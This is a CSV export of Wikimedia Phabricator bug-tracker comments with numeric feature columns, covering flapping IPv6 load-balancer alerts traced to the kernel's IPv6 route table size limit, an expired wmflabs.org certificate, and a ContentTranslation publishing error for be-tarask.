537058,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"See also https://bugzilla.redhat.com/show_bug.cgi?id=1221915 and the similar reports linked within, etc...",,,1443525068,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.083333333333333,1.0,"See also URL and the similar reports linked within, etc..."
537053,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"Update: log tail caught a few 1/3 soft fails on ipsec ipv6 still, but those could be due to legitimate timing and/or packet loss.  The rate of them is much lower than before (more than an order of magnitude), and no soft-fails on ipv6 service IPs yet.  Will keep watching through the next expected flap window.",,,1443524538,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,3.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,13.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,3.0,0.0,0.0,3.75,0.8529411764705882,"Update: log tail caught a few 1/3 soft fails on ipsec ipv6 still, but those could be due to legitimate timing and/or packet loss.  The rate of them is much lower than before (more than an order of magnitude), and no soft-fails on ipv6 service IPs yet.  Will keep watching through the next expected flap window."
536887,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"So, this evening the same flaps hit (as they do most evenings), but they hit codfw ipv6 service IPs rather than eqiad.  Both DCs have been active and monitored all along, so this means the alerts follow the large-scale traffic more than anything else, and they don't seem to be eqiad-specific.  They've never hit esams or ulsfo before, though.

Digging around a bit and thinking, I stumbled on a new theory: this might be because of the small fixed default size of `/proc/sys/net/ipv6/route/max_size`.  It's dynamically adjustable with normal sysctl, but it's always a fixed `4096` by default, whereas the ipv4 equivalent ends up being `2147483647` (2^31-1), and supposedly is based on system memory constraints and such.  The big cache clusters (upload, mobile, text) in codfw were all showing values just under 4K for `wc -l /proc/net/ipv6_route` in codfw this evening, and presumably the same in eqiad when it has full traffic.  For whatever reason, the same tables in ulsfo and esams are much smaller and nowhere near the 4K value (ulsfo closer to 2K-ish, esams only a few hundreds), which would explain why this doesn't hit those DCs.

I've manually adjusted the sysctl on all of the cp* machines to `131072` via salt for now, and I've been tailing the icinga log since then (nearly an hour now) and haven't even seen any 1/3 soft-fails for v6 service endpoints or the usual v6 ipsec flaps, either.  Will leave the tail running overnight.  Once the max_size was lifted, the codfw `wc -l /proc/net/ipv6_route` values jumped from their just-under-4K values to values in 5-7K range on those machines.

Will continue to observe, and tomorrow will dig deeper on exactly how that table works and what a sane way to size it would be, and also why esams seems so much less affected when it has at least as much total traffic (is v6 adoption really that much less in the EU than the US? there are other possible factors too, such as more cache boxes per cluster).",,,1443497099,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,2.0,0.2,0.0,0.4,0.6,6.6,0.8,0.2,0.2,0.0,2.0,1.2,0.0,0.4,0.2,0.8,0.0,10.6,9.0,0.4,0.8,0.0,0.4,0.0,1.0,0.2,0.0,0.6,0.2,1.2,0.2,4.6,1.2,1.0,0.2,0.0,0.4,0.2,0.0,0.0,0.0,1.0,0.8,0.2,0.0,0.2,0.0,0.0,0.0,14.2,0.6,1.4,0.2,1.2,0.0,0.0,0.0,0.4,1.8,0.0,0.2,1.0,0.0,0.0,0.2,0.0,0.2,5.0,2.6,5.8,2.0,3.8,8.0,0.0,0.0,0.0,0.0,2.8,0.0,1.4,0.0,2.6,9.0,4.2,0.2,0.0,0.0,2.6,0.0,1.8,1.2,0.0,0.8,1.6,0.4,0.0,3.6993975903614453,0.7861158921399884,"So, this evening the same flaps hit (as they do most evenings), but they hit codfw ipv6 service IPs rather than eqiad.  Both DCs have been active and monitored all along, so this means the alerts follow the large-scale traffic more than anything else, and they don't seem to be eqiad-specific.  They've never hit esams or ulsfo before, though.

Digging around a bit and thinking, I stumbled on a new theory: this might be because of the small fixed default size of CODE.  It's dynamically adjustable with normal sysctl, but it's always a fixed CODE by default, whereas the ipv4 equivalent ends up being CODE (2^31-1), and supposedly is based on system memory constraints and such.  The big cache clusters (upload, mobile, text) in codfw were all showing values just under 4K for CODE in codfw this evening, and presumably the same in eqiad when it has full traffic.  For whatever reason, the same tables in ulsfo and esams are much smaller and nowhere near the 4K value (ulsfo closer to 2K-ish, esams only a few hundreds), which would explain why this doesn't hit those DCs.

I've manually adjusted the sysctl on all of the cp* machines to CODE via salt for now, and I've been tailing the icinga log since then (nearly an hour now) and haven't even seen any 1/3 soft-fails for v6 service endpoints or the usual v6 ipsec flaps, either.  Will leave the tail running overnight.  Once the max_size was lifted, the codfw CODE values jumped from their just-under-4K values to values in 5-7K range on those machines.

Will continue to observe, and tomorrow will dig deeper on exactly how that table works and what a sane way to size it would be, and also why esams seems so much less affected when it has at least as much total traffic (is v6 adoption really that much less in the EU than the US? there are other possible factors too, such as more cache boxes per cluster)."
531130,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"This has always hit text and upload lb's (again, IPv6, in eqiad) as well, but usually they're less-likely than mobile to reach 3/3 and actually send an alert.  I've downtimed all 3 temporarily just to avoid the excess paging, and we can look at this more in detail Monday.",,,1442800474,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,11,True,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,14.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,3.5555555555555554,0.873015873015873,"This has always hit text and upload lb's (again, IPv6, in eqiad) as well, but usually they're less-likely than mobile to reach 3/3 and actually send an alert.  I've downtimed all 3 temporarily just to avoid the excess paging, and we can look at this more in detail Monday."
530947,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"FWIW, I think this pre-dated IPSec and probably isn't related to it.  In earlier investigations it looked like a monitoring failure of some kind and not real.  Later theory was that it was real, and related to the issues with short RA TTLs for the IPv6 default gateways, but it has persisted since fixing that as well...",,,1442699279,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,11,True,1.0,0.0,0.0,1.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,9.0,15.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,3.8823529411764706,0.7794117647058824,"FWIW, I think this pre-dated IPSec and probably isn't related to it.  In earlier investigations it looked like a monitoring failure of some kind and not real.  Later theory was that it was real, and related to the issues with short RA TTLs for the IPv6 default gateways, but it has persisted since fixing that as well..."
112608,*.wmflabs.org https certificate expired (tools.wmflabs.org),"tools.wmflabs.org https certificate expired certificate expired on 15-09-14 08:43 PM. This is the star.wmflabs.org certificate which is also used for https in the labs proxy.

",Unbreak Now!,100.0,1442278926,1442333214.0,PHID-USER-mcfo27pkfdhzd7gk66fx,False,PHID-USER-h75guknmwivm6x37iute,False,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_description,resolved,True,c3,3,False,False,True,10,True,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.75,"tools.wmflabs.org https certificate expired certificate expired on 15-09-14 08:43 PM. This is the star.wmflabs.org certificate which is also used for https in the labs proxy.

"
528277,*.wmflabs.org https certificate expired (tools.wmflabs.org),Left to be done is to add a monitoring probe for the certificate expiry {T112645},,,1442394664,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.9411764705882353,Left to be done is to add a monitoring probe for the certificate expiry {T112645}
527936,*.wmflabs.org https certificate expired (tools.wmflabs.org),">>! In T112608#1641865, @coren wrote:
> The new certificates have been issued, and I've pushed them to the servers (specifically, the labs-wide dynamicproxy and the tools-specific proxies and static web servers).
> 
> As far as I can tell, that covers everything.

Thanks for the quick solution - things look fine to me now when I open https://tools.wmflabs.org/ or pull up a Wikivoyage map such as https://en.wikivoyage.org/wiki/Culver_City#Get_around.",,,1442348937,,PHID-USER-2q4czpdve2m2bm74ksx5,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,27.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,15.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.484848484848485,0.8181818181818182,"QUOTE
QUOTE
QUOTE
QUOTE

Thanks for the quick solution - things look fine to me now when I open URL or pull up a Wikivoyage map such as URL"
527682,*.wmflabs.org https certificate expired (tools.wmflabs.org),"The new certificates have been issued, and I've pushed them to the servers (specifically, the labs-wide dynamicproxy and the tools-specific proxies and static web servers).

As far as I can tell, that covers everything.
",,,1442333214,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0.0,2.0,0.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,8.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.7916666666666666,"The new certificates have been issued, and I've pushed them to the servers (specifically, the labs-wide dynamicproxy and the tools-specific proxies and static web servers).

As far as I can tell, that covers everything.
"
527371,*.wmflabs.org https certificate expired (tools.wmflabs.org),We are waiting on the CA to re-issue the certificate and will be back online as soon as that happens. Might be up to midday west coast time however :(,,,1442296227,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,18.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.0,18.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6666666666666665,0.8787878787878788,We are waiting on the CA to re-issue the certificate and will be back online as soon as that happens. Might be up to midday west coast time however :(
527370,*.wmflabs.org https certificate expired (tools.wmflabs.org),">>! In T112608#1640292, @Negative24 wrote:
> Should the Wikivoyage tool perhaps be moved to a production or production-like machine to prevent such occurrences? From what I've heard, anything that breaks the actual page of a Wikimedia wiki (not bot/maintenance tasks) should be put on a higher priority machine. (topic for another task; cc me if one is made)

There is a maps.wikimedia.org service in progress that I believe is supposed to be a more ""official"" maps service - see Yurik's comments at the end of the https://en.wikivoyage.org/wiki/Wikivoyage:Travellers%27_pub#Dynamic_maps thread - but my understanding is that it is still a work-in-progress and that issues still need to be resolved.",,,1442295731,,PHID-USER-2q4czpdve2m2bm74ksx5,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,3.0,0.0,2.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,2.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,21.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,10.0,10.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,2.0,0.0,3.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,3.8524590163934427,0.6885245901639344,"QUOTE
QUOTE

There is a maps.wikimedia.org service in progress that I believe is supposed to be a more ""official"" maps service - see Yurik's comments at the end of the URL thread - but my understanding is that it is still a work-in-progress and that issues still need to be resolved."
527337,*.wmflabs.org https certificate expired (tools.wmflabs.org),"Should the Wikivoyage tool perhaps be moved to a production or production-like machine to prevent such occurrences? From what I've heard, anything that breaks the actual page of a Wikimedia wiki (not bot/maintenance tasks) should be put on a higher priority machine. (topic for another task; cc me if one is made)",,,1442285407,,PHID-USER-zcsdm7lwcehnusyhh6xp,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0.0,2.0,0.0,5.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,3.0,2.0,0.0,0.0,5.0,0.0,3.0,5.0,2.0,0.0,2.0,0.0,2.0,4.030769230769231,0.8615384615384616,"Should the Wikivoyage tool perhaps be moved to a production or production-like machine to prevent such occurrences? From what I've heard, anything that breaks the actual page of a Wikimedia wiki (not bot/maintenance tasks) should be put on a higher priority machine. (topic for another task; cc me if one is made)"
527336,*.wmflabs.org https certificate expired (tools.wmflabs.org),"Thanks for working on this :-)

Just for info, this breaks most Wikivoyage articles (they embed a dynamic map frame generated by tools.wmflabs.org):
{F2604942}",,,1442284975,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,4.451612903225806,0.9354838709677419,"Thanks for working on this :-)

Just for info, this breaks most Wikivoyage articles (they embed a dynamic map frame generated by tools.wmflabs.org):
{F2604942}"
527297,*.wmflabs.org https certificate expired (tools.wmflabs.org),T112542 refers to a 'tracking calendar'. And this is sort of part of that.,,,1442280442,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.388888888888889,0.8333333333333334,T112542 refers to a 'tracking calendar'. And this is sort of part of that.
527290,*.wmflabs.org https certificate expired (tools.wmflabs.org),"I think there's a calendar somewhere with expiry dates, and this cert was just missed. I'll verify and make sure there's one such calendar.",,,1442280007,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8666666666666667,0.8,"I think there's a calendar somewhere with expiry dates, and this cert was just missed. I'll verify and make sure there's one such calendar."
527288,*.wmflabs.org https certificate expired (tools.wmflabs.org),"Now, how will we remember to do this in the future?",,,1442279968,,PHID-USER-zcsdm7lwcehnusyhh6xp,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,1.0,"Now, how will we remember to do this in the future?"
527287,*.wmflabs.org https certificate expired (tools.wmflabs.org),Looks like it might take us a day or so to renew them. Ugh.,,,1442279540,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,19.0,12.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,2.875,0.9375,Looks like it might take us a day or so to renew them. Ugh.
111818,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,"When I try to translate to be-tarask.wikipedia.org, I get `parsoidserver-http: HTTP 404` when I publish.

I can publish to other languages.

This may have something to do with the recent renaming of be-x-old to be-tarask (T11823).",Unbreak Now!,100.0,1441728707,1441740867.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-jrowngubvcz7ahhreyyg,task_description,resolved,True,c3,3,True,False,True,9,True,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,15.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,15.0,6.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6041666666666665,0.7083333333333334,"When I try to translate to be-tarask.wikipedia.org, I get CODE when I publish.

I can publish to other languages.

This may have something to do with the recent renaming of be-x-old to be-tarask (T11823)."
522915,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,Going out tomorrow.,,,1441740867,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-jrowngubvcz7ahhreyyg,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.25,1.0,Going out tomorrow.
522744,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,"Change 236831 merged by jenkins-bot:
T111818: Update sitematrix.json for be-tarask

[[https://gerrit.wikimedia.org/r/236831]]",,,1441730858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrowngubvcz7ahhreyyg,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.9130434782608696,0.8260869565217391,"Change 236831 merged by jenkins-bot:
T111818: Update sitematrix.json for be-tarask

[[GERRIT_URL]]"
522732,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,"Change 236831 had a related patch set uploaded (by Arlolra):
T111818: Update sitematrix.json for be-tarask

[[https://gerrit.wikimedia.org/r/236831]]
